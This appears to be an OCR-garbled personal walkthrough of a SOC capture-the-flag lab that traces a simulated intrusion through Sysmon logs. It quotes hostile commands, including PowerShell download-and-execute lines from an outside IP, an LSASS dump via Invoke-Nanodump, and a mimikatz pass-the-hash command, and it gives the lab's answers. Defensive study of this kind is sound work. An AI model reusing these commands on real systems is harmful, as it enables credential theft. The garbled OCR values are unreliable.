this activity?

RuleName: -

UtcTime: 2823-69-26 14:39:84.496

ProcessGuid: {f27ff4e8b-e974-6512-0605-300A0AAA4802 }

ProcessId: 4188

Image: C:\Windows'\system32\rundll32.exe

User: NT AUTHORITY\SYSTEM

Protocol: tcp

Initiated: true

SourceIsIpv6: false

Sourcelp: 172.16.17.152

SourceHostname: WKSTN-83.swiftspendfinancial.thm

SourcePort: 51685

SourcePortName: -

DestinationIp: 4.2.2.2
DestinationHostname: b.resolvers.level3.net
DestinationPort: 53

DestinationPortMame: domain



More info about the C2 connection:

- DNS server: b|[.]resolvers[.]level3[.Jnet (Company for DNS resolver: Level 3 Communications)
- DNS resolution taken by the malware most likely to download the next malicious powershell
script ‘pwrex.ps1’ found below.

- This is the third network connection but AFTER the execution of the 7zipp.exe — 7zservice
(service created with sc.exe).

Another file downloaded and executed by rundll32 (C2 process):

| UL COIUWL . 1L7 1 19UU TALE UJIL GFUJ UUUUUUUUSOUL |

Image: C:\Windows\System32\WindowsPowershell\v1.8\powershell.exe
FileVersion: 16.8.17763.1 (WinBuild.168181.8888)

Description: Windows PowerShell

Product: Microsofte Windows@ Operating System

_Company: Microsoft Corporation

OriginalFileMame: PowerShell.EXE

CommandLine: -C iex(iwr http://206.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {f27ff48b-bbe7-6511-e703-060080600008 }
LogonId: Bx3E7

|IntegrityLevel: Syst q

Hashes: MD5=7353F608B1739874EB17C5FADDDEFE239, SHAZ56=DE9GAGEG99443353750C1AC238336066889D9FFCTD73628EF4AFET1B1B16BAB32C, IMPHASH
=741776AACCFCEB71FF59832DCDCACEBF

ParentProcessGuid: {@PPEAANS-600A-00GG-BAGA-BAERAANDREER}

ParentProcessId: 4188

ParentImage: -

ParentCommandLine: -

ParentUser: -

This file downloaded created a file ‘trash.evtx’ which is an xml file. At this point, I am not sure
what this file is for. There’s probably a whitelist on xml/log files especially in the directory to which
it was stored (C:\Windows\temp\)

Sep 26, 2023 © 14:25:21.267 WKSTN-83 Pipeline Execution Details powershell WKSTN-03 -C iex(iwr http://206.189.34.218/a/pwrex.ps1 -useb

; Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;

> Sep 26, 2023 @ 14:25:21.267 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C iex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.267 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C dex(iwr http://206.189.34.218/a/purex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx:
> Sep 26, 2023 @ 14:25:21.266 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C dex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx:
> Sep 26, 2023 @ 14:25:21.266 WKSTN-03 Pipeline Execution Details powershell WKSTN-03 -C iex(iwr http://206.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.266 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C iex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.265 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C dex(iwr http://206.189.34.218/a/purex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx:
> Sep 26, 2023 @ 14:25:21.265 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C dex(iwr http://206.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.264 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C 1ex(iwr http://206.189.34.218/a/pwrex.ps1 -useb): Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx:
> Sep 26, 2023 @ 14:25:21.264 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C iex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Tnvoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.264 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C 1ex(iwr http://266.189.34.218/a/purex.ps1 -useb); Tnvoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.263 WKSTN-83 Execute a Remote Command powershell WKSTN-83 -

> Sep 26, 2023 @ 14:25:21.263 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C 1ex(iwr http://206.189.34.218/a/pwrex.ps1 -useb): Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx:
> Sep 26, 2023 @ 14:25:21.263 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 -C iex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Tnvoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.257 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C 1ex(iwr http://266.189.34.218/a/purex.ps1 -useb); Tnvoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.256 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C dex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx:
> Sep 26, 2023 @ 14:25:21.256 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C dex(iwr http://206.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
> Sep 26, 2023 @ 14:25:21.256 WKSTN-03 Pipeline Execution Details powershell WKSTN-03 -C dex(iwr http://206.189.34.218/a/pwrex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evix;
> Sep 26, 2023 @ 14:25:21.255 WKSTN-83 Executing Pipeline powershell WKSTN-83 -C iex(iwr http://266.189.34.218/a/pwrex.ps1 -useb); Tnvoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;

- There’s a lot going on on the execution of this malicious script.



Another connection made by the C2:

Network connection detected:

RuleName: -

UtcTime: 2823-89-26 14:24:271.332

ProcessGuid: {f27ff48b-e996-6512-9785-0008000084802}
ProcessId: 8356

Image: C:\Windows\System32\WindowsPowerShelliv1.@\powershell.exe

User: NT AUTHORITY\SYSTEM

Protocol: tcp

Initiated: true

SourcelsIpv6: false

Sourcelp: 172.16.1.152

SourceHostname: WKSTN-83.swiftspendfinancial.thm
SourcePort: 51499

SourcePortName: -

DestinationIsIpv6: false

DestinationIp: 185.199.118.133
DestinationHostname: cdn-185-199-1168-133.github.com
DestinationPort: 443

DestinationPortMame: https

Info:
- Destination IP: 185[.]199[.]110[.]133

- Destination Hostname: cdn-185-199-110-133[.]github[.]Jcom — One of the connection used to
download open-source tools. In this case, its for Invoke-Nanodump.ps1 which is used for

LSASS.exe content dumping.

Digging into the process PID : 8356
Bv

@ +Addfiter

winlogbeat-*

o = [ans]

B QU search field names
Filter by type 0 v

~ Selected fields 5

t agent hostname

agent.hostname event.action

t event.action Time 1

t eventmodule

Sep 26, 2023 © 14:24:21,332 WKSTN-03 Network connection detected (rul

t hostno
t) pro > Sep 26, 2023 0 14:24:21.332 WKSTN-83 Dns query (rule: DnsQuery)
R it T 0 > Sep 26, 2623 © 14:24:22.319 WKSTN-03 Process Create (rule: ProcessGre
ate)
t dd
; > Sep 26, 2623 © 14:24:22.469 WKSTN-03 File created (rule: FileCreate)
t _index

2023-08-26 060 2023-09-281200  2023-09-2618:00
Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000

KQL  [E v Sep 25,2023 @ 00:00:00.0 > Sep 27,2023 @ 23:30:00.0 G Refresh

& Chart options

B Vove column to the lcft [

Lline x &

sysmon WKSTN-83

sysmon WKSTN-83

sysmon WKSTN-63 -C dex(dwr https://raw.githubusercontent. con/S3cur3Thlssh1t/PowerSharpPack/maste
r/PowersharpBinaries/I p.ps1 -useb); T

sysmon WKSTN-83

- This process was spawned by the malware to download the Invoke-Nanodump.ps1 used

to dump LSASS contents.

- Once this file landed on the system, it was renamed as:
C:\Users\perry.parsons\AppData\Local\Temp\__PSScriptPolicyTest_ndepcbgb.rwf.ps1



4 hits

2023-09-2500:00  2023-09-25 08:00 -2512:00 25 18:00 2023-09-26 00:00 2023-09-26 08:00 -26 18:00 2023-09-27 08:00 2023-09-27 12:00 2023-09-27 18:00
Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000
t Tlle.arrectory LI\USers\perry.parsons\AppUaTaiLocalryiemp
t file.extension ps1
t file.name __PSScriptPolicyTest_ndepcbgb.rwf.psi1
t file.path C:\Users\perry.parsons\AppData\Local\Temp\__PSScriptPolicyTest_ndepcbgb. rwf.psl
t host.architecture x86_64
t host.hostname WKSTN-@3
t host.id f27ff40b-75¢2-4f92-2925-44ab5b2f7c2d
t host.ip feg@::7ad:75e8:dfeb:56b2, 172.16.1.152
t host.mac B6:1e:408:8e:b8:51
I t host.name WKSTN-83 . swiftspendfinancial.thm I
t host.os.build 17763 .4459

- Note that at this point, the attacker hasn’t done any lateral movement and still is in the first
machine compromised.

From here, it shows the .psl1 file was executed:

> Sep 26, 2623 © 14:24:22.594 WKSTN-83 powershell WKSTN-63 -
ks 2 2023 0 142022565 wksTH-e3 privileged-service-called ‘\ security WKSTN-63 -
> Sep 26, 2623 @ 14:24:22.563 WKSTN-83 Engine Lifecycle powershell WKSTN-63 -G iex(iwr https://raw.githubusercontent.com/S3cur3Th1ssh1t/PowerSharpPack /master/PonerSharpBinaries/Invoke-Nanobump.psl -useb); T
nvoke-Nanodump;
> Sep 26, 2623 © 14:24:22.563 WKSTN-83 Provider Lifecycle powershell WKSTN-83 ~C dex(iwr https://raw.githubusercontent .con/S3curaTh1sSh1t/PowerSharpPack/naster/PowerSharpBinaries/Invoke-Nanobump.psl -useb); T
nvoke-Nanodump ;
> Sep 26, 2623 © 14:24:22.563 WKSTN-83 Provider Lifecycle powershell WKSTN-63 ~C iex(iwr https://raw.githubusercontent.com/S3curaTh1sSh1t/PowerSharpPack /master /PowerSharpBinaries/Invoke-Nanobump.psl -useb); T
nvoke-Nanodump;
> Sep 26, 2623 @ 14:24:22.563 WKSTN-83 Provider Lifecycle powershell WKSTN-63 -G iex(iwr https://raw.githubusercontent.com/S3cur3Th1ssh1t/PowerSharpPack /master/PonerSharpBinaries/Invoke-Nanobump.psl -useb); T
nvoke-Nanodump;
> Sep 26, 2623 © 14:24:22.563 WKSTN-83 Provider Lifecycle powershell WKSTN-83 ~C dex(iwr https://raw.githubusercontent .con/S3curaTh1sSh1t/PowerSharpPack/naster/PowerSharpBinaries/Invoke-Nanobump.psl -useb); T
nvoke-Nanodump ;
> Sep 26, 2823 © 14:24:22.563 WKSTN-83 Provider Lifecycle powershell WKSTN-83 -C iex(iwr https://raw.githubusercontent.com/S3cur3Thisshit, B er /PowersharpBinaries /Invok p.ps1 -useb); I
nvoke-Nanodump
> Sep 26, 2623 @ 14:24:22.563 WKSTN-83 Provider Lifecycle powershell WKSTN-63 -G iex(iwr https://raw.githubusercontent.com/S3cur3Th1ssh1t/PowerSharpPack /master/PonerSharpBinaries/Invoke-Nanobump.psl -useb); T
nvoke-Nanodump;
> Sep 26, 2623 © 14:24:22.562 WKSTN-83 Registry WKSTN-83 -
> Sep 26, 2623 © 14:24:22.562 WKSTN-83 Registry WKSTN-83 -
> Sep 26, 2823 ® 14:24:22.562 WKSTN-83 Registry WKSTN-83 -

Checking the surrounding logs to find how the credential got exfiltrated from the system:
- After the dumping of the Isass content:

> Sep 26, 2023 @ 14:24:53.168 WKSTN-03 Filtering Platform Connection = WKSTN-83 =
> Sep 26, 2623 @ 14:24:53.168 WKSTN-83 Filtering Platform Connection o WKSTN-83 ™
‘\) Sep 26, 2023 @ 14:24:39.972 WKSTN-683 privileged-service-called security WKSTN-83 "
> Sep 26, 2023 @ 14:24:27.224 WKSTN-03 File created (rule: FileCreate) sysmon WKSTN-83 =
> Sep 26, 2623 @ 14:24:27.116 WKSTN-83 Application Crashing Events o WKSTN-83 ™
> Sep 26, 2023 @ 14:24:27.872 WKSTN-03 Process Create (rule: ProcessCreate) sysmon WKSTN-83 C:\Windows\system32\WerFault.exe -u -p 8356 -s 1928
> Sep 26, 2623 @ 14:24:26.927 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-83 C:\Windows\system32\WerFault.exe -pss -s 624 -p 8356 -ip 8356
> Sep 26, 2623 @ 14:24:26.923 WKSTN-83 Engine Lifecycle powershell WKSTN-83 T6CM --write C:\windows\temp\trash.evtx
> Sep 26, 2623 @ 14:24:26.819 WKSTN-83 Execute a Remote Command powershell WKSTN-83 s
> Sep 26, 2623 @ 14:24:26.814 WKSTN-83 Executing Pipeline powershell WKSTN-83 T6CM --write C:\windows\temp\trash.evix
> Sep 26, 2023 @ 14:24:26.813 WKSTN-03 Pipeline Execution Details powershell WKSTN-83 T6CM --write C:\windows\temp\trash.evtx
> Sep 26, 2623 @ 14:24:26.188 WKSTN-83 File created (rule: FileCreate) sysmon WKSTN-83 s
> Sep 26, 2023 @ 14:24:26.048 WKSTN-€3 Application Crashing Events = WKSTN-83 ’
> Sep 26, 2623 @ 14:24:25.996 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-83 | C:\Windows\system32\WerFault.exe -u -p 8356 -s 2768 |
> Sep 26, 2623 @ 14:24:25.995 WKSTN-83 privileged-service-called security WKSTN-83 =
> Sep 26, 2023 @ 14:24:25.864 WKSTN-03 Process Create (rule: ProcessCreate) sysmon WKSTN-83 I C:\Windows\system32\WerFault.exe -pss -s 544 -p 8356 -ip 8356 I
> Sep 26, 2623 @ 14:24:25.858 WKSTN-83 None - WKSTN-83 -
> Sep 26, 2023 @ 14:24:25.826 WKSTN-€3 permissions-changed security WKSTN-83 S

> Sep 26, 2623 @ 14:24:25.826 WKSTN-83 logged-in-special security WKSTN-83 =



- Windows werfault.exe process will be spawned and shows the error caused by the Invoke-
Nanodump.ps1 powershell script.

- Also notice that something is being written to the previously created file C:\Windows\
temp\trash.evtx . You’ll see later on what this file is going to be used.

The attacker has done some system reconnaissance in between:

> Sep 26, 2823 @ 14:25:00.894 WKSTN-83 privileged-service-called security WKSTN-83 =

> Sep 26, 2023 @ 14:25:00.994 WKSTN-03 privileged-service-called security WKSTN-83 -

F Sep 26, 2023 @ 14:24:59.769 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-83 C:\Windows\winsxs\amdé4_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.17763.4121_none_5703f42b99886 5ed\ TiWorker .
exe -Embedding

> Sep 26, 2023 @ 14:24:59.768 WKSTN-83 None = WKSTN-83 =

I > Sep 26, 2023 @ 14:24:59.717 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-83 C:\Windows\servicing\TrustedInstaller.exe

> Sep 26, 2023 @ 14:24:59.716 WKSTN-83 permissions-changed security WKSTN-83 =

> Sep 26, 2023 @ 14:24:59.716 WKSTN-@3 logged-in-special security WKSTN-83 o

> Sep 26, 2023 @ 14:24:59.716 WKSTN-83 Group Membership - WKSTN-83 -

> Sep 26, 2023 @ 14:24:59.716 WKSTN-83 logged-in security WKSTN-83 -

> Sep 26, 2023 @ 14:24:59.683 WKSTN-83 permissions-changed security WKSTN-83 =

> Sep 26, 2023 @ 14:24:59.613 WKSTN-83 permissions-changed security WKSTN-83 -

> Sep 26, 2023 @ 14:24:58.217 WKSTN-83 privileged-service-called security WKSTN-83 e

> Sep 26, 2023 @ 14:24:58.173 WKSTN-83 permissions-changed security WKSTN-83 e

> Sep 26, 2823 @ 14:24:58.141 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-83 systeminfo

> Sep 26, 2023 © 14:24:58.110 WKSTN-03 Process Create (rule: ProcessCreate) sysmon WKSTN-83 /c systeminfo

> Sep 26, 2023 @ 14:24:53.168 WKSTN-83 Filtering Platform Connection = WKSTN-83 =

5> Sep 26, 2023 @ 14:24:53.168 WKSTN-83 Filtering Platform Connection = WKSTN-83 =

> Sep 26, 2023 @ 14:24:39.972 WKSTN-83 privileged-service-called security WKSTN-83 =

Another network connection has been detected. The C2 downloaded the ‘pwrex.ps1’ file from the
server where the 1* stage malware came from. This is the file used to harvest the credential after
dumping from LSASS process.

Time agenthostname  eventaction eventmodule  hosthostname  process.command._line
> Sep 26, 2023 © 14:25:19.885 WKSTN-83 Registry - WKSTN-03 -
> Sep 26, 2023 © 14:25:19.885 WKSTN-83 Handle Manipulation - WKSTN-63 -
A Sep 26, 2023 © 14:25:19.083 WKSTN-83 Registry - WKSTN-63 -
Sep 26, 2623 @ 14:25:19.082 WKSTN-83 Registry - WKSTN-63 -
Sep 26, 2023 & 14:25:19.682 WKSTN-83 Registry - WKSTN-03 -
Sep 26, 2623 @ 14:25:19.682 WKSTN-83 Handle Manipulation - WKSTN-03 -
Sep 26, 2023 & 14:25:19.066 WKSTN-83 Registry - WKSTN-03 -
Sep 26, 2623 € 14:25:19.666 WKSTN-83 Registry - WKSTN-63 -
Sep 26, 2623 @ 14:25:19.066 WKSTN-83 Registry - WKSTN-63 -
Sep 26, 2023 & 14:25:19.066 WKSTN-83 Handle Manipulation - WKSTN-03 -
Sep 26, 2623 @ 14:25:18.045 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-03 -C lex(iwr http://206.189.34.218/a/purex.ps1 -useb); Invoke-PowerExtract -PathToDMP C:\windows\temp\trash.evtx;
Sep 26, 2023 & 14:25:18.124 WKSTN-83 Network connection detected (rule: Network | sysmon WKSTN-03 -
Connect)
> Sep 26, 2023  14:25:11.182 WKSTN-03 privileged-service-called security WKSTN-03 -
> Sep 26, 2023 @ 14:25:08.585 WKSTN-83 None - WKSTN-63 -

- Upon execution, it overwrites the contents of the trash.evtx and now contains the
credential needed to impersonate a specific user in the Active Directory.

Why would there be 3 instances of the same mimikatz execution?

Documents surrounding #ZeX10YoBV20oTI6v_Ynr_

5 B newer documents

Time agenthostname  event.action eventmodule  process.command_line

> Sep 26, 2023 @ 14:29:57.630 WKSTN-63 Registry - -

> Sep 26, 2023 @ 14:29:57.630 WKSTN-63 Handle Manipulation - -

> Sep 26, 2023 @ 14:29:57.555 WKSTN-63 Process Create (rule: ProcessCreat sysmon -C .\mimikatz.exe "sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852ABB8BDAEGBS564128EBASEAZBCACF /run :powershell.exe
e) exit’

> Sep 26, 2023 © 14:29:43.506 WKSTN-63 privileged-service-called security -

> Sep 26, 2023 @ 14:29:43.458 WKSTN-63 rocess Create (rule: ProcessCreat  sysmon .\mimikatz.exe 'sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A8BBEDAEGB564128EBASEAZBCACE /run:powershell exe’
e) exit’

> Sep 26, 2023 014:29:43.427 WKSTN-03  ggProcess Create (rule: ProcessCrest sysnon /¢ .\mimikatz.exe "sekurlsa::pth /user:james.cromwell /domein:swiftspendfinancial.thm /ntl 128EGASEAZBCACF /run :powershell.exe’
e) ‘exit’

> Sep 26, 2023 @ 14:29:49.463 WKSTN-63 privileged-service-called security -

Sep 26, 2023 © 14:20:16.800 WKSTN-02 Filtering Platform Connection - -



First instance of mimikatz execution:

r

Process Create:

RuleName: -

UtcTime: 2623-09-26 14:29:43.458

ProcessGuid: {f27ff46b-ead7-6512-c185-00660BG04802 }

ProcessId: 6884

Image: C:\Windows\Tempi\m\x64\mimikatz.exe

FileVersion: 2.2.8.@

Description: mimikatz for Windows

Product: mimikatz

Company: gentilkiwi (Benjamin DELPY) *

OriginalFileName: mimikatz.exe

CommandLine: .\mimikatz.exe 'sekurlsa::pth /fuser:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A0BBBD4EG@564128EBASEAZBCACF /run:powershell.e
xe' 'exit’

CurrentDirectory: C:\Windows\Temp\m\x64\

User: NT AUTHORITY\SYSTEM

LogonGuid: {f27ff48b-bbe7-6511-e783-060000008080 }

LogonId: @x3E7

TerminalSessionId: 4

IntegritylLevel: System

Hashes: MD5=29EFD64DD3C7FE1E2BB22B7AD73ATBAS, SHA256=61C0810A23588CF492A6BA4F7654566188331E7A4134C968C206A85261B2D8A1, IMPHASH=55EE580BB4BDFC49F27A9BAE456D
BEDF

ParentProcessGuid: {f27ff48b-ead7-6512-bf@5-000000004802}

ParentProcessId: 11212

ParentImage: C:\Windows\System32\cmd.exe

ParentCommandLine: /c .\mimikatz.exe 'sekurlsa::pth fuser:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A@BSBD4EOB564128EGASEA2BCACF /run:powe
rshell.exe’ ‘exit’

ParentUser: NT AUTHORLTY\SYSTEM

Second instance:

Process Create:

RuleName: -

UtcTime: 2623-89-26 14:29:57.555

ProcessGuid: {f27ff48b-eae5-6512-c265-086660864802}

ProcessId: 7368

Image: C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe
FileVersion: 10.8.17763.1 (WinBuild.168181.8868)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company : Microsoft Corporation
OriginalFileName: PowerShell.EXE !

CommandLine: -C .\mimikatz.exe 'sekurlsa::pth /user:james.cromwell /demain:swiftspendfinancial.thm /ntlm:B852A6B8BDAEGAS56412BEBASEAZBCACE /run:powershel
l.exe’ 'exit’

CurrentDirectory: C:\Windows\Temp\m\x6&4\

User: NT AUTHORITY\SYSTEM

LogenGuid: {f27ff48b-bbe7-6511-e783-600060BE0600}

Logonld: @x3E7

TerminalSessionId: 4

IntegritylLevel: System

Hashes: MD5=7353F68B17396874EB17C5FADDDEFE239, SHA?56=DE96ABE69944335375DC1AC2383360866889D9FFCTD73628EFAFET1B1B168AB32C, IMPHASH=741776AACCFC5B71FF59832DCDCA
CEGF

ParentPr id: { BEA6-00606-066| }

ParentProcessId: 4188

ParentImage: -

ParentCommandLine: -

ParentUser: -

Third instance: another cmd.exe

— Answer: Invoke-NanoDump.ps1




What is the credential pair that the attacker leveraged after the credential
dumping activity? (format: username:hash)

uery:
process.pid : 4188

Other privileges of the possible impersonated account:

R

Special privileges assigned to new logon.

Subject:
Security ID: 3-1-5-18
Account MName: SYSTEM
Account Domain: NT AUTHORITY
Logon ID: Bx1386392

Privileges: SeAssignPrimaryTokenPrivilege
SeTcbPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeAuditPrivilege
SeImpersonatePrivilege

Other info related to Isass.exe: (pid 616)

Time agenthostname  event.action eventmodule  process.command_line

> Sep 26, 2023 @ 14:29:57.747 WKSTN-83 Provider Lifecycle @ & povershell -G .\mimikatz.exe ‘sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A@BEBD4EA056412BEQASEAZBGACF /run:ponershell.exe’ '
it*

> Sep 26, 2023 @ 14:20:57.747 WKSTN-83 Provider Lifecycle powershell -C .\mimikatz.exe ‘sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852AGBBBDAE0O564128EBASEA2BCACF /run:povershell exe’ 'ex
it

> Sep 26, 2023 @ 14:29:57.746 WKSTN-83 Provider Lifecycle powershell -C .\mimikatz.exe ‘sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852AGBBBDAERG564128EBASEAZBCACE /run:powershell exe’ '
it

> Sep 26, 2623 @ 14:29:57.746 WKSTN-83 Provider Lifecycle powershell -C .\mimikatz.exe ‘sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A@BBBD4ERG564128EBASEAZBCACE /run:ponershell exe’ '
it

B sep 26, 2023 0 14:29:57.745 mesT-83 Provider Lifecycle povershell -G .\mimikatz.exe ‘sekurlsa::pth /user:james.cromwell /domain:swiftspendfinancial.thm /ntlm:B852A@BEBD4EA056412BEQASEAZBGACF /run:ponershell.exe’ '

it

> Sep 26, 2023 ® 14:29:57.742 WKSTN-83 privileged-service-called securi ty

> Sep 26, 2023 ® 14:29:57.663 WKSTN-83 File created (rule: FileCreat  sysmon

e)

> Sep 26, 2023 @ 14:29:57.650 WKSTN-03 Registry

> Sep 26, 2023 @ 14:29:57.650 WKSTN-83 Registry

> Sep 26, 2623 @ 14:29:57.650 WKSTN-83 Registry

> Sep 26, 2623 @ 14:29:57.650 WKSTN-83 Handle Manipulation

- Attacker’s attempt of stealing credential from user james.cromwell

- Note that there are some logs (first 10 I think) in which Isass.exe was operating normally.

- We want to find the log that happened just AFTER the execution of the 7zipp.exe service
because its the C2 that’s telling the malware about the specific credential theft to do.(I think)

— Answer: james.cromwell: B852A0B8BD4E00564128 EO0A5EA2BC4CF



After gaining access to the new account, the attacker attempted to reset the
credentials of another user. What is the new password set to this target
account?

Attacker impersonated/stole credential of another user: (lateral movement from user perry.parsons
to james.cromwell’ (WKSTN-03 machine) and then to anna.jones (WKSTN-02 machine) with a
reset its password to ‘pwn3dpw!!!’)

Logon Information:

Logon Type: 9

Restricted Admin Mode: -

Virtual Account: No
[Elevated Token: Yeﬂ

[Impersunation Level: Imperscnatinn]
New Logon:

Security ID: 5-1-5-18

Account Name: SYSTEM

Account Domain: NT AUTHORITY

Logon ID: @x1386392
JLipked logon T0- Al

Network Account Name:  pwn3dpw!!!

Network Account Domain: anna.jones

Logon GUID: 1668066809-P060-6608-PHAE-EEPABAREEEAEE }

Process Information:
Process ID: @x185c
[ Process Name: C:\Hindows\SystemSE\rund1132.exe]

- New creds — anna.jones:pwn3dpw!!!

Account Domain: S5F
Logon ID: @x3E7

Legon Information:

Logon Type: 9
Restricted Admin Mode: -
Virtual Account: No
[ Elevated Token: Yes]
Impersonation Level: Impersonation
New Logomn:
Security I0- S=1-5-18
Account Name: SYSTEM
Account Domain: NT AUTHORITY
Logon ID: @x1387A97
Linked Logon ID: axa
[Network Account Name: anna.jones]

Network Account Domain: swiftspendfinancial.thm
Logon GUID: {PEEOEE00-B600 - 0000 -00EE-PEE0BEE6000E |



Lateral Movement by the malware: (pid: 4188 — malware’s process)

> Sep 26, 2823 @ 14:47:48.969 WKSTN-83 Netwc])rk connection detected (rule: MetworkCon sysmon WKSTN-83  atf— DNS resglut[on
nect
done by malware

> Sep 26, 2823 @ 15:82:19.286 WKSTN-03 logged-in security WKSTN-83 - .
Impersonation done
> Sep 26, 2023 @ 15:02:41.677 WKSTN-83 logged-in security WKSTN-83 ‘/bymalware
> Sep 26, 2623 @ 15:85:30.623 WKSTN-83 Network connection detected (rule: NetworkCon sysmon nkstn-0z -@— Lateral movement (ma
nect) done by malware
~ Sep 26, 20823 @ 15:85:30.623 WKSTN-83 Network connection detected (rule: Networ sysmon WKSTN-83
kConnect)
= Expanded document View surrounding documents  View single document
Table JSON
Actions Field Value
¢ _id j-UGB0ooBV20TI6v_M5g8
t _index winlogbeat-7.17.11-2023.89.26-600001
# _score
t _type _doc

Metwork connection detected:

RuleMame: -

UtcTime: 2823-89-26 15:85:38.623

ProcessGuid: {f27ff48b-e974-6512-9685-A6000AA04802 }
ProcpccTd: _A188

Image: C:\Windows\System32\rundl132?.exe
User: NT AUTHORITY\SYSTEM

Frotocol: tcp

Initiated: true

SourceIsIpvt: false

Sourcelp: 172.16.1.152

SourceHostname: WKSTN-83.swiftspendfinancial.thm
SourcePort: 51885
SourcePortName: -
DestinationIsIpv6e: false
DestinationIp: 172.16.1.151
DestinationHostname: WKSTN-82
DestinationPort: 3389
DestinationPortMame: ms-wbt-server

- The malware under the user anna.jones moved from WKSTN-03 (with user
james.cromwell) to WKSTN-02(with user anna.jones) through RDP (port 3389) at machine
172.16.1.151.



Lead towards the tool used for credential theft:

t message

t | process.executable

A privileged service was called.

Subject:

ecurity TD. =1=5-18

Account Name: WKSTN-83% ]

Account Domain: SSF

Logon ID: Bx3E7
Service:

Server: NT Local Security Authority / Authentication Service

Service Name: LsaRegisterLogonProcess()
Process:

Process ID: ex268

Process Name: C:\Windows\System32\lsass.exe|
Service Request Information:

Privileges: SeTcbPrivilege

C:\Windows\System32\lsass.exe

t process.name lsass.ex
4 process.pid 614
t related.user WKSTN-83
t | user .domain SSF

e

$

- Isass.exe was definitely accessed by the malware.

At this point, we know that the attacker impersonated the user ‘james.cromwell’ AND THEN reset
the password for the user ‘anna.jones’ and use her account to access WKSTN-02 machine.

— Answer: pwn3dpw!!!

What is the name of the workstation where the new account was used?

(stated above)

— Answer: WKSTN-02

After gaining access to the new workstation, a new set of credentials was
discovered. What is the username, including its domain, and password of

this new account?

Query/Filter:
— host.hostname : WKSTN-02

— destination.port : 3389

© | hosthostname: WKSTN-02 X | destination.port: 3,389 X | + Add filter

winlogbeat-* ses €= 2 hits
al Q Search field names
I Filter by type 0 ~
v Selected fields 4
t agenthostname
) event.action Time ¢ agent.hostname
t event.module > Sep 26, 2023 @ 15:85:31.138 WKSTN-62
t) host hostname > Sep 26, 2023 © 14:50:31.923 WKSTN-02
 Available fields 77

- Aye! 2 hits!

Sep 25

event.action

200 1500
2023 @ 23:30:00.000 - Sep 27, 2023 @ 00:00:00.000

event.module host.hostname

Network connection detected (rule: NetworkConnect) sysmon WKSTN-82

Network connection detected (rule: NetworkConnect) sysmon WKSTN-02



o

